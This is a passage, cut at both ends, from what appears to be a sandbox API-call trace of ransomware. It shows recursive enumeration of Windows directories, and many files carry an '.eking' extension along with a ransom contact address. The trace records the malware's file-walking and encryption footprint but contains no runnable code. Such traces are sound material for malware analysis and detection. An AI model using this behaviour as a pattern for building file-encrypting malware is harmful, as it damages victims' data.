hHeap=0x550000, dwFlags=0x0, lpMem=0x6075c8 | out: hHeap=0x550000) returned 1 [0194.720] FindNextFileW (in: hFindFile=0x570fb8, lpFindFileData=0x2cef2a8 | out: lpFindFileData=0x2cef2a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0194.720] GetProcessHeap () returned 0x550000 [0194.720] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6075c8 [0194.721] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-CN\\*", lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x570ff8 [0194.721] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.721] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0194.721] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0194.721] FindClose (in: hFindFile=0x570ff8 | out: hFindFile=0x570ff8) returned 1 [0194.721] GetProcessHeap () returned 0x550000 [0194.721] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6075c8 | out: hHeap=0x550000) returned 1 [0194.721] FindNextFileW (in: hFindFile=0x570fb8, lpFindFileData=0x2cef2a8 | out: lpFindFileData=0x2cef2a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0194.721] GetProcessHeap () returned 0x550000 [0194.721] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6075c8 [0194.721] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-HK\\*", lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x570ff8 [0194.721] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.721] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0194.721] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0194.721] FindClose (in: hFindFile=0x570ff8 | out: hFindFile=0x570ff8) returned 1 [0194.721] GetProcessHeap () returned 0x550000 [0194.722] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6075c8 | out: hHeap=0x550000) returned 1 [0194.722] FindNextFileW (in: hFindFile=0x570fb8, lpFindFileData=0x2cef2a8 | out: lpFindFileData=0x2cef2a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0194.722] GetProcessHeap () returned 0x550000 [0194.722] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6075c8 [0194.722] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-TW\\*", lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x570ff8 [0194.722] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.722] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0194.722] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0194.722] FindClose (in: hFindFile=0x570ff8 | out: hFindFile=0x570ff8) returned 1 [0194.722] GetProcessHeap () returned 0x550000 [0194.722] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6075c8 | out: hHeap=0x550000) returned 1 [0194.722] FindNextFileW (in: hFindFile=0x570fb8, lpFindFileData=0x2cef2a8 | out: lpFindFileData=0x2cef2a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0194.722] FindClose (in: hFindFile=0x570fb8 | out: hFindFile=0x570fb8) returned 1 [0194.723] GetProcessHeap () returned 0x550000 [0194.723] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0194.723] FindNextFileW (in: hFindFile=0x570f78, lpFindFileData=0x2cef530 | out: lpFindFileData=0x2cef530*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0194.723] FindNextFileW (in: hFindFile=0x570f78, lpFindFileData=0x2cef530 | out: lpFindFileData=0x2cef530*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x79274e0, ftCreationTime.dwHighDateTime=0x1d696fc, ftLastAccessTime.dwLowDateTime=0x79274e0, ftLastAccessTime.dwHighDateTime=0x1d696fc, ftLastWriteTime.dwLowDateTime=0x80e3c60, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0x2102, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking", cAlternateFileName="BOOTSE~1.EKI")) returned 1 [0194.723] FindNextFileW (in: hFindFile=0x570f78, lpFindFileData=0x2cef530 | out: lpFindFileData=0x2cef530*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Config.Msi", cAlternateFileName="")) returned 1 [0194.723] GetProcessHeap () returned 0x550000 [0194.723] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5f65b8 [0194.723] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Config.Msi\\*", lpFindFileData=0x2cef2a8 | out: lpFindFileData=0x2cef2a8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x570fb8 [0194.724] FindNextFileW (in: hFindFile=0x570fb8, lpFindFileData=0x2cef2a8 | out: lpFindFileData=0x2cef2a8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.724] FindNextFileW (in: hFindFile=0x570fb8, lpFindFileData=0x2cef2a8 | out: lpFindFileData=0x2cef2a8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0194.724] FindClose (in: hFindFile=0x570fb8 | out: hFindFile=0x570fb8) returned 1 [0194.724] GetProcessHeap () returned 0x550000 [0194.724] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0194.724] FindNextFileW (in: hFindFile=0x570f78, lpFindFileData=0x2cef530 | out: lpFindFileData=0x2cef530*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0194.724] FindNextFileW (in: hFindFile=0x570f78, lpFindFileData=0x2cef530 | out: lpFindFileData=0x2cef530*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x56257dc0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56257dc0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0xda0cbec0, ftLastWriteTime.dwHighDateTime=0x1d696f3, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0194.724] FindNextFileW (in: hFindFile=0x570f78, lpFindFileData=0x2cef530 | out: lpFindFileData=0x2cef530*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0194.724] GetProcessHeap () returned 0x550000 [0194.724] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5f65b8 [0194.724] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\*", lpFindFileData=0x2cef2a8 | out: lpFindFileData=0x2cef2a8*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x570fb8 [0194.725] FindNextFileW (in: hFindFile=0x570fb8, lpFindFileData=0x2cef2a8 | out: lpFindFileData=0x2cef2a8*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.725] FindNextFileW (in: hFindFile=0x570fb8, lpFindFileData=0x2cef2a8 | out: lpFindFileData=0x2cef2a8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0194.725] GetProcessHeap () returned 0x550000 [0194.725] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6075c8 [0194.725] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\*", lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x570ff8 [0194.728] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.729] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x9aecd00, ftLastAccessTime.dwHighDateTime=0x1d696fc, ftLastWriteTime.dwLowDateTime=0x9aecd00, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0016-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~3")) returned 1 [0194.729] GetProcessHeap () returned 0x550000 [0194.729] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6185d8 [0194.730] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x9aecd00, ftLastAccessTime.dwHighDateTime=0x1d696fc, ftLastWriteTime.dwLowDateTime=0x9aecd00, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x571038 [0194.731] FindNextFileW (in: hFindFile=0x571038, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x9aecd00, ftLastAccessTime.dwHighDateTime=0x1d696fc, ftLastWriteTime.dwLowDateTime=0x9aecd00, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.731] FindNextFileW (in: hFindFile=0x571038, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x393df700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x393df700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x983f440, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0x10efdbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLR.cab.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking", cAlternateFileName="EXCELL~1.EKI")) returned 1 [0194.732] FindNextFileW (in: hFindFile=0x571038, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x95dde40, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0x323f12, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.msi.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking", cAlternateFileName="EXCELM~1.EKI")) returned 1 [0194.732] FindNextFileW (in: hFindFile=0x571038, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9ac6ba0, ftCreationTime.dwHighDateTime=0x1d696fc, ftLastAccessTime.dwLowDateTime=0x9ac6ba0, ftLastAccessTime.dwHighDateTime=0x1d696fc, ftLastWriteTime.dwLowDateTime=0x9ac6ba0, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0x712, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking", cAlternateFileName="EXCELM~2.EKI")) returned 1 [0194.732] FindNextFileW (in: hFindFile=0x571038, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9aecd00, ftCreationTime.dwHighDateTime=0x1d696fc, ftLastAccessTime.dwLowDateTime=0x9aecd00, ftLastAccessTime.dwHighDateTime=0x1d696fc, ftLastWriteTime.dwLowDateTime=0x9b38fc0, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0x9f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking", cAlternateFileName="SETUPX~1.EKI")) returned 1 [0194.732] FindNextFileW (in: hFindFile=0x571038, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9aecd00, ftCreationTime.dwHighDateTime=0x1d696fc, ftLastAccessTime.dwLowDateTime=0x9aecd00, ftLastAccessTime.dwHighDateTime=0x1d696fc, ftLastWriteTime.dwLowDateTime=0x9b38fc0, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0x9f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking", cAlternateFileName="SETUPX~1.EKI")) returned 0 [0194.732] FindClose (in: hFindFile=0x571038 | out: hFindFile=0x571038) returned 1 [0194.733] GetProcessHeap () returned 0x550000 [0194.733] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6185d8 | out: hHeap=0x550000) returned 1 [0194.733] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbac3340, ftLastAccessTime.dwHighDateTime=0x1d696fc, ftLastWriteTime.dwLowDateTime=0xbac3340, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0018-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~2")) returned 1 [0194.733] GetProcessHeap () returned 0x550000 [0194.733] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6185d8 [0194.733] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbac3340, ftLastAccessTime.dwHighDateTime=0x1d696fc, ftLastWriteTime.dwLowDateTime=0xbac3340, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x571038 [0194.735] FindNextFileW (in: hFindFile=0x571038, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbac3340, ftLastAccessTime.dwHighDateTime=0x1d696fc, ftLastWriteTime.dwLowDateTime=0xbac3340, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.735] FindNextFileW (in: hFindFile=0x571038, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, 